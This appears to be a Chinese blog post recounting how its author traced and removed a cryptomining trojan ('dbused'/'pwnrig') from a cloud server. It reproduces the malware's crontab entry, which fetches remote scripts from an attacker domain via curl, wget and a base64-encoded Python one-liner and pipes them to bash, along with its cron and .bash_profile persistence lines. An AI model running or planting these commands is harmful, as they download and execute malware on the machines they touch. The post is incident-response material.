发现问题
某云服务器上,接连收到多个警报,示例如下:
综合起来,问题主要集中在以下文件:
/usr/bin/dbused (deleted)
/tmp/x64b (deleted)
/tmp/x64b
/tmp/.dbusex/dbusex
我登陆到服务器控制台一看,CPU使用一直在接近100%的状态。回想了一下,后台没有运行什么大量消耗CPU的任务,估计是中了木马。
初步筛查
使用top
查看,发现问题进程如下:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
14167 root 20 0 305000 6544 0 S 99.0 0.3 11:52.84 dbused
这个 14167
进程,运行了 dbused
命令,使用CPU达到99%,因为是单核CPU,也就是说它一个人霸占了所有CPU资源。几乎可以肯定罪魁祸首就是它了。
尝试1
于是,我尝试杀掉这个进程:kill -9 14167
,但是马上又有一个新的起来了。
所以,除了这个“挖矿”进程之外,肯定还有一个“监工”进程,负责重启“挖矿”进程。
尝试2
我又想到,如果我把这个程序文件删了,它不就重启不起来了吗?于是,第二个思路是找到其对应的文件,尝试删除:ls -l /proc/14167/exe
,结果如下:
lrwxrwxrwx 1 root root 0 Nov 13 16:25 /proc/14167/exe -> '/usr/bin/dbused (deleted)'
尝试 delete 失败,因为在 /usr/bin
下面,没有 dbused
这个文件。(至于为什么后面会讲到。)
尝试3
两次尝试失败,有些气馁,不过没关系。我们把能做的先做了。
进入 /tmp
目录下面,把 x64b
, dbusex
等文件都删了,然后把这个目录下没用的 或者 可疑的东西都清理干净。
这么做的原因有三个:
1.一开始的服务器报警里面提到了这个目录,非常可疑。
2.我看了一下x64b
等文件的内容,非常像挖矿程序产生的中间文件(诸如节点信息,log信息等等)。
3.我确定,自己运行的后台程序不会生产这些文件。
把这些中间文件删了,只能说是出了口恶气,源头还是要掐死。
进一步筛查
分析到这里,其实我们大概知道,系统里面有两个坏人:
- 一个是 挖矿 程序
- 一个是 监工 程序
我们最最关键的,是要把那个“监工”的先找出来干掉,否则挖矿的源源不断。
于是,思路是:检查定时脚本目录。
清理定时脚本1
在 /var/spool
目录下,发现两个可疑文件:
/var/spool/cron/crontabs/root
/var/spool/cron/root
脚本如下:
* * * * *
(curl -s http://bash.givemexyz.in/xms||wget -q -O - http://bash.givemexyz.in/xms)|bash -sh;
echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei5pbi9kZC5weSIpLnJlYWQoKSkn
| base64 -d | bash -; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms
大概看了一眼,这个脚本会上一个坏网站,去下载一些坏东西,然后运行起来。
最坏的是,把坏服务起好了之后还会把痕迹删掉。一肚子坏水。
尝试rm
删除这两个文件,报错:rm: cannot remove 'root': Operation not permitted
。
哼,这能难得倒我们吗?
先解锁文件,然后就可以rm
// 查看锁
lsattr root
// 解锁
chattr -ia root
// 删除
rm -rf root
删除成功,但是过了一会儿又生成了。说明源头不在这儿。继续努力。
清理定时脚本2
我们看一下/etc
这个目录下的文件:ll /etc/cron*
,发现一大推坏东西:
cron.d:
total 24
-rw-r--r--. 1 root root 128 Nov 9 2019 0hourly
-rw-r--r-- 1 root root 339 Nov 12 02:31 apache
-rw-r--r-- 1 root root 108 Nov 13 16:58 nginx
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 108 Nov 9 2019 raid-check
-rw-r--r-- 1 root root 339 Nov 12 02:31 root
cron.daily:
total 12
-rwxr-xr-x 1 root root 232 Nov 19 2019 exim-tidydb
-rwxr-xr-x. 1 root root 189 Jan 4 2018 logrotate
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
cron.hourly:
total 12
-rwxr-xr-x 1 root root 575 Nov 9 2019 0anacron
-rwxr-xr-x 1 root root 321 Nov 12 02:31 oanacroner1
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
cron.monthly:
total 4
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
cron.weekly:
total 4
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
经过甄别,都是木马,没有错杀。下面挑几个典型的列举出来看看:
木马1
/etc/cron.weekly/pwnrig
代码如下:
cp -f -r -- /bin/crondr /bin/dbused 2>/dev/null
cd /bin 2>/dev/null
./dbused -c >/dev/null 2>&1
rm -rf -- dbused 2>/dev/null
它会把这个 crondr
文件 copy 到 bin 下重命名为 dbused
,然后运行起来,再删掉源文件。怪不得当初去找的时候发现文件不存在!
木马2
/etc/cron.hourly/0anacron
代码如下:
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0
fi
# Do not run jobs when on battery power
online=1
for psupply in AC ADP0 ; do
sysfile="/sys/class/power_supply/$psupply/online"
if [ -f $sysfile ] ; then
if [ `cat $sysfile 2>/dev/null`x = 1x ]; then
online=1
break
else
online=0
fi
fi
done
if [ $online = 0 ]; then
exit 0
fi
非常贴心地还加了句注释:Do not run jobs when on battery power。这个应该是辅助性文件。
木马3
/etc/cron.d
目录如下:
-rw-r--r--. 1 root root 128 Nov 9 2019 0hourly
-rw-r--r-- 1 root root 339 Nov 12 02:31 apache
-rw-r--r-- 1 root root 108 Nov 13 17:33 nginx
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 108 Nov 9 2019 raid-check
-rw-r--r-- 1 root root 339 Nov 12 02:31 root
熟悉挖矿的小伙伴应该觉得眼熟吧。
删除
最终,把这些文件,以及其中提到的其它位置的可疑文件,都统统删掉!
然后,再把 dbused
进程以及其他可疑进程都杀掉。
做完之后,发现系统占用降下去了,且 dbused
不再重启,查杀取得阶段性胜利!
复查
经过一番折腾,我感觉,这个木马繁殖性是比较强的。有多个地方都有 监工 脚本,删了一处,还会有另一处起作用。
所以,一个比较好的做法是,找到所有出现问题的文件,写一个脚本,然后一起删。
因为打字毕竟慢,有的时候我刚删了 A , B 就把 A 重新生成出来了。(Cron job 不就是定时执行的嘛。)
另外,一定要做复查,针对之前的问题程序,再重新扫描一遍系统,看看有没有漏网之鱼。
find / -name "*dbused*"
find / -name "*cron*"
find / -name "*dbusex*"
其实,复查过程中我还发现了好几个高危的可疑文件,就不列举出来了,统统干掉!
最后,重启服务器,然后观察几天,如果都没问题的话,查杀就成功了。
改密码
最后的最后,问题来了,黑客一开始是怎么把木马程序放到服务器上的呢?
那肯定是有漏洞啊。
云端服务器一般都会提供一堆需要额外付费的网络防护套餐,不差钱的话可以考虑下。
免费的话,我们能做且一定要做的是:
1.先把登录密码改了。
2.再把SSH重新搞一遍,把旧的key都作废。
3.把不用的端口(类似8080,9090之类的)关掉或者限制IP访问。
后续更新 1
过了几天,我发现服务器又中招了。。。
分析观察如下:
- 把之前的步骤走了一遍,并没有发现新的病毒文件。
- 把木马进程 kill 掉后,发现它变“弱”了许多,并没有马上重启,而是过了好一会才重启。
捣鼓了一阵,发现了问题所在:
在~/.bash_profile
中,被注入了病毒代码:
cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null
所以,每当我正常执行命令(比如起HDFS集群),然后需要读取.bash_profile
文件的时候,就会同时启动木马。(回想一下,服务器高占用时间也正是我上去工作的时间,周末一天闲着反而没事)
查杀也很简单,把.bash_profile
文件清理,并将相关文件删除即可。
后续更新 2
又过了一阵子,我发现在啥也不干的时候,服务器上CPU占用很低,但是内存占用非常高,又分析了一阵,推测应该是病毒没杀干净,木马仍然会部分启动,占用了很高的内存,但是由于网络被我关了,后续运算无法进行下去。
需要删掉的可疑文件如下:
# 1
/etc
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc0.d -> rc.d/rc0.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc1.d -> rc.d/rc1.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc2.d -> rc.d/rc2.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc3.d -> rc.d/rc3.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc4.d -> rc.d/rc4.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc5.d -> rc.d/rc5.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc6.d -> rc.d/rc6.d
lrwxrwxrwx 1 root root 13 Feb 5 2020 rc.local -> rc.d/rc.local
# 2
/etc/init.d
-rwxr-xr-x 1 root root 2415 Mar 30 00:27 aegis
-rw-r--r-- 1 root root 18440 Aug 23 2019 functions
-rwxr-xr-x 1 root root 250 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 1161 Feb 5 2020 README
# 3
/etc/rc.d
drwxr-xr-x. 2 root root 4096 May 10 21:04 init.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc0.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc1.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc2.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc3.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc4.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc5.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc6.d
-rw-r--r--. 1 root root 474 Feb 5 2020 rc.local
其中重点关注pwnrig
,对其做一次全盘扫描查杀。
参考
- 阿里云ECS清除隐藏的挖矿程序 https://blog.csdn.net/hemin1003/article/details/83268892
- 阿里云服务器Centos7成为挖矿肉鸡被挖矿imWBR1耗尽CPU https://blog.csdn.net/zjcjava/article/details/78881803
- ECS Linux系统CPU异常占用(minerd 、tplink等挖矿进程) https://helpcdn.aliyun.com/knowledge_detail/41206.html